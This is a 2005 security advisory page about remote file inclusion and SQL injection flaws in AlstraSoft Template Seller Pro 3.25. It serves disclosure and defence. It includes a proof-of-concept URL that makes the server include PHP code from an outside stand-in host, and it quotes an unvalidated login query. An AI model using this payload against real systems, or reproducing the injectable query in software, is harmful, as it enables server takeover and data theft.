SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Template Seller Pro 3.25 Arbitrary code execution, SQL Injection(s)


Arrow  SecurityAlert : 189
Arrow  CVE : CVE-2005-3797
Arrow  CVE : CVE-2005-3798
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Robin Verton
Arrow  Published : 16.11.2005

Arrow  Affected Software : AlstraSoft Template Seller Pro 3.25



Arrow  Advisory Content :  

AlstraSoft Template Seller Pro 3.25
===================================

Software: AlstraSoft Template Seller Pro 3.25
Severity: Arbitrary code execution, SQL Injection(s)
Risk: High
Author: Robin Verton <r.verton (at) gmail (dot) com [email concealed]>
Date: Nov. 15 2005
Vendor: www.alstrasoft.com

Description:

Ever thought of starting your very own profitable shopping cart business
just like TemplateMonster.com?
With AlstraSoft Template Seller Pro software, you can run your own
templates store selling templates such
as website templates, logo templates, flash intro templates, frontpage
templates and many more! The
flexibility of Template Seller Pro software also allows you to run a
membership based templates business
just like BoxedArt.com by offering paid members multiple templates
download instantly.
[http://www.alstrasoft.com/]

Details:

1) /include/paymentplugins/payment_paypal.php

/**
Paypal payment plugin
*/
global $config,$conn;
include("$config[basepath]/include/payment/class.paypal_ipn.php");
include("$config[basepath]/include/paymentplugins/paymentplugin.php");

If register_globals is set on, we can include and execute any php code of
our choice. This is very dangerous
because if safe_mode is off and there are no restriction for execution
commands an attacker can get access
to each file on the server.

http://www.example.com/include/paymentplugins/payment_paypal.php?config[
basepath]=http://youhost.com/our-code.txt?

Because of the trailing '?' we pass the
'/include/payment/class.paypal_ipn.php' from the include statement as a
parameter
to the our-code.php script so only the script we set in
$config[basepath] is included.

2) /admin/index.php

$sql_user_name = $user_name;
$md5_pass = md5($user_pass);

$sql = "SELECT * FROM UserDB WHERE user_name='$sql_user_name' and
user_password='$md5_pass'";

The User submitted variable for the username is inserted into the database
without andy validation. Because of this
we can insert malicious code into the database.

Nearly NO user-submitted variable is validated , so there are a few more
SQL-injections possible.



Patch:
Insert constants and use the following code to prevent against
such attacks

if( !defined('IN_SYS') ) {
die('Hacking Attempt!');
}

and activate magic_quotes_gpc

Credits:

Credit goes to Robin Verton

References:

[1] http://www.alstrasoft.com/template.htm
[2] http://myblog.it-security23.net





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.